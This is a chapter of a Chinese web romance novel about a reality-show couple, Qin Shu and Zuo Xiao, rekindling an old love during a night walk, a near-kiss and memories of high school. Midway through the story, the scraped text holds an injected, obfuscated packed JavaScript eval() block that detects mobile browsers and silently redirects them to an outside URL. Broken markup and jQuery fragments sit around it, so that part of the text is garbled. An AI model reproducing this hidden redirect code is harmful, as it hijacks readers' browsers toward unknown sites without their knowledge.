34. 需要爱

作品:《顶流和我有旧情[破镜重圆]

    “给我机会,还是给你机会,”秦书拆台,“你这水平,聘不到试菜员也在情理之中。”


    左骁被噎得哑然,等她吃完最后一口,夺走餐具,硬气道:“不爱吃算了。”


    他进厨房不久,就有水声传出来。


    洗了碗,左骁回到餐厅,嘟囔着:“你出去打听打听,谁家病号又做饭又刷碗的。”


    没听到秦书呛声,一抬头,发现人根本不在餐厅,去客厅转了一圈,也没找到。


    他走到摄像头前,低身问:“小文呢?”


    遭到美颜暴击的现场导演愣了半天,回应:“在院子里。”


    左骁果断出门,远远瞧见女生坐在亭子里,披着丝巾,低马尾随风摆动,灯光投在她身上,边际模糊而柔和,是夜里唯一的亮色。


    察觉到有人靠近,她偏过头,指了指手机,示意他等一下。


    他走到她对面坐下。


    节目组在亭子里摆了象棋,刘齐夫妇晨练时会来下一盘。


    秦书在和赵枫通电话,大部分时间她都在听,遇上不满意的也不会疾言厉色,三言两语做好决策,好像没什么能动摇她。


    左骁闲来无事摆弄象棋,一个人操控两方棋子。


    独自对弈考验思维能力,他尽量用两种思考方式博弈,下着下着,走棋的速度慢下来。


    犹豫间,一只素手越过楚河汉界,手指压着“炮”往后退了一步,局势瞬间明朗起来。


    左骁抬眸,视线在她耳边手机一晃而过。


    “哒哒。”秦书点点棋盘,示意到他下了。


    秦书一心二用,一边打电话一边下棋。


    左骁则是心思完全不在棋盘上,秦书走棋,他不看棋,看人家的手,最常问的一句是“你走哪了”,秦书给他指了,他刚思考两秒,又竖起耳朵听她安排工作。


    一盘棋下得稀碎。


    “有问题随时打给我,”秦书挂断电话,提起“車”轻轻落在“帅”上,“将军。”


    左骁啧道:“能悔棋吗?”


    “当然不行。”秦书快速打乱剩余的棋子。


    他们的象棋师从高中兴趣课老师,都是初学者水平,仅限于了解基本规则,背过的棋谱早忘差不多了,谁输谁赢全看运气。


    她以为左骁悔棋有可能颠覆胜局,实际上,哪怕重来一万遍,他还是跑不脱一个输。


    菜鸡互啄不过玩个意思,左骁归拢棋子,提议趁月色不错,出去散步。


    节目组想跟拍,被左骁拒绝了,二人时光来之不易,带一群摄像头算怎么回事。


    在国外不怕被路人认出来,异国的风卷着陌生的语言拂过耳畔,两人在路灯下走着,慢慢地,越靠越近。


    一对情侣擦身而过,左骁手背悄然贴上秦书的手,秦书没动,他好似受到鼓舞,手指勾缠上去,直至将整只手拢在掌心。


    静静行了一段。


    秦书轻声道:“你手出汗了。”


    “太久没压马路了,”左骁掌心简直冒火,“我有点紧张。”


    在这种时候,他总是坦诚得要命。


    秦书想起他们第一次牵手。


    说来有趣,他们的恋爱过程并不符合规范,先接吻再拥抱,同居了才牵手,左骁承诺的高考后表白,被她一个吻怼回喉咙,一切都是随心而为。


    那是入住公寓的第一晚,他们从超市回家,走了半程,他蹲下系鞋带,起身时,一手拎着塑料袋,另一只手伸向她,说塑料袋太重,让她拉他一把。


    顺势牵起手,再没放开。


    她嫌他找的借口蹩脚拙劣,笑话他掌心出汗。


    他闹了个红脸,支支吾吾说:“第一次有点紧张,以后不会了。”


    后来他果然不紧张了,甚至进步显著,走路要牵手,看电影要牵手,读剧本要牵手,无聊时更要牵手,指腹从她的指根捋到指尖,一根一根,摩挲够了,又凑近去吻,像对待无价的珍宝。


    他吻她指尖样子很可爱,微微低头,长且浓密的睫毛垂顺向下,接连不断地轻吻,带着虔诚和生涩。


    这一刻,秦书无比清晰地认识到七年已经那么遥远,他曾经做过的努力烟消云散,只剩回忆刻骨铭心,好在,新的开始正从指尖蔓延开。


    他们好像在重新谈一次循规蹈矩的恋爱。


    她仰起脸,果不其然,他耳朵又红了,眼睛弯了弯,温声道:“好吧,那我担待一下。”


    大概半小时,他们绕路回到别墅,不约而同在距门口不远的斜坡停下脚步。


    这条路上没有路灯,只有一户户门前灯照明。


    秦书晃了晃手,明知故问:“怎么不走了?”


    左骁不自觉吞咽,喉结滑动,低身逼近。


    他眼睛很亮,将她的身影装进去。


    “我能亲你吗?”他问。


    看着他忽闪的睫毛,秦书一时眼晕,有些习惯早已刻在骨子里,眼皮发沉,缓缓合起。


    “就一下,我亲了。”


    左骁的气息越来越近,越来越轻。


    就在这时,清透的嗓音戳破暧昧气氛:“小文,骁哥,你们来接我们吗?”


    一束光直直打过来。


    声音戛然而止。


    秦书和左骁齐齐转头,就见下坡处,一群人望着他们,旅行团成员眼里明晃晃写着“哇,原来你们是这个关系,不过放心好啦,我们不会乱说的”,节目组的兴奋显而易见,好几个摄像师猛调镜头倍数。


    场面诡异到秦书连着做了三天梦。


    他们所在是个缓坡,她和左骁站在坡顶,其他人站在坡下,光打过来时,堪比舞台上的聚光灯,就差喊一嗓子“所有人目光向我看齐”。


    有道是,捂上嘴巴,爱意会从眼睛里跑出来。


    揶揄和八卦也会。


    安妮捂着嘴巴,深恨自己瞎嚷嚷破坏了cp接吻现场,激动的眼神在秦书和左骁脸上来回晃悠,往下,定格在他们交握的手上,登时闭眼深呼吸,看着像要晕过去了。


    秦书这才想起他们还牵着手,收了一下没收回来,腹诽左骁作为一个明星怎么警惕性这么低,咬牙提醒:“你傻了?松手啊。”


    “哦。”左骁不太高兴地松开手。


    “公司的特殊情况应急课程你有空去听一听,”秦书语速飞快,迎向大部队,“你们不是半夜才回?”


    安妮嬉笑着撞她一下,“早知道你们这样,我们肯定半夜回啊。”


    明哲明理点头。


    齐淑兰解围:“大家担心小左身体,提前回来了。”


    明明是展示团魂的好机会,没成想变成了“捉奸”现场。


    但剧本已经写好了,大家拿出百分之二百分的演技,现场飙戏,导演直呼内行。


    等到休息时间,摄像头挨个关闭,各自回房间洗漱。


    二楼洗手间资源紧张,安妮趁着排队,在三楼堵住秦书,“小文小文,你们刚刚是不是打算接吻?”


    秦书摇头,“没有,风迷眼了,左老师帮我吹眼睛。”


    “不信。”安妮斩钉截铁。


    “呵。”左骁拿着洗漱套装站在她们身后,闻言笑出声。


    秦书横他一眼,“你们聊,我先去洗漱。”


    瞎话不好编,还是赶紧溜吧。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781584|169662||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    走出几步,就听安妮问了左骁同样的问题,她放慢脚步。


    左骁沉吟片刻,问:“她怎么说的?”


    安妮回答:“小文说她迷眼了,你帮她吹眼睛。”


    “嗯,那这就是真相。”左骁慢悠悠地说。


    “……”


    安妮明白无论如何也得不到一句实话,不死心问:“那你们在地下恋爱吗?”


    左骁眸中的笑意淡下来,欲言又止。


    秦书听不下去,转身拉走安妮,“我们没在一起。”


    安妮回头小心翼翼看了左骁一眼,惊讶道:“你们都接吻了,还没在一起?是骁哥……”


    “你误会了,”秦书生怕她误会左骁是光吃不负责的渣男,措辞半天,“暧昧期懂吧。”


    安妮拍拍胸口,“啊——吓死我了,我还以为我刚磕就要塌了呢。”


    秦书一言难尽地看她,劝道:“少磕点吧,都是假糖。”


    安妮忙不迭答应:“是是是,以后我现场磕,那你们……”


    秦书打断她接下来的话,“时间不早了,你快去洗漱吧,明天不是还要早起么。”


    “诶诶诶?”安妮被秦书推着下楼了。


    送走八卦的小妹妹,秦书松了口气。


    左骁不知何时占了洗手间,靠着门框,叼着牙刷,含糊道:“从前被起哄的时候,怎么不见你怕成这样?”


    “什么?”


    左骁回她一个“自己想”的眼神。


    秦书一头雾水,盯着他洗脸的侧影,还真从记忆里挖出一段。


    时间要追溯到高考前,班里绝大多数人都确定了方向,抱着“学都学了,不考试就亏了”的心思,越临近高考气氛越欢脱,唯独左骁格格不入。


    路云倾搞不懂:“你一个注定进电影学院的人,成天瞎紧张啥呢?”


    左骁百忙之中解答她的困惑:“你不懂,全网都盯着我的文化分,我可不想营销号盘点内娱九漏鱼时带上我。”


    体委贱兮兮地调侃:“我当多大事呢,他们笑话你你就退圈,抱着你同桌哭,求她养你。”


    围在桌边的同学你一言我一语,闹着闹着就没边了。


    左骁知道秦书家境好,本就指望毕业后多赚钱多拿奖,跟她拉近距离,被他们支招“求包养、吃软饭”,先是害羞,紧接着就怀疑自己到底能不能配得上她。


    秦书捏着小说点了点他们,笑道:“你们那馊主意自己留着使吧,我同桌一看就是个顾家的,还这么养眼,他要是真不想努力了,我肯定早早把人接回家,到时候天天发朋友圈,羡慕死你们。”


    路云倾大叫:“受不了了,有人早恋,我要告老师!”


    秦书理直气壮:“告吧告吧,到时候老师找我,我也这么说。”


    “秦书,”左骁唤回她的思绪,低头时,刘海上的水珠顺着脸颊滑到下巴,“你知道我当时想什么吗?”


    他自问自答:“我在想,我要拿多少奖,才会在求你包养时,显得稍微有出息点。你走之后,我特别后悔,如果我早点求你,你是不是就不会狠心扔下我。”


    秦书用掌心接住他下巴滴落的水珠,“如果我告诉你,你会跟我出国吗?”


    “我会。”


    “我不需要你的牺牲,”掌心的湿润覆上他的脸,像抚摸许多年未曾擦干的泪痕,“你热爱表演,有天赋还努力,我希望你做一辈子光芒万丈的大明星,哪怕有一刻蒙尘,都不行。”


    “大明星也需要人爱,”左骁眼窝浅,憋红了眼眶不让眼泪落下来,“从前顾忌太多,现在我什么都不怕了,你能不能,别甩开我?”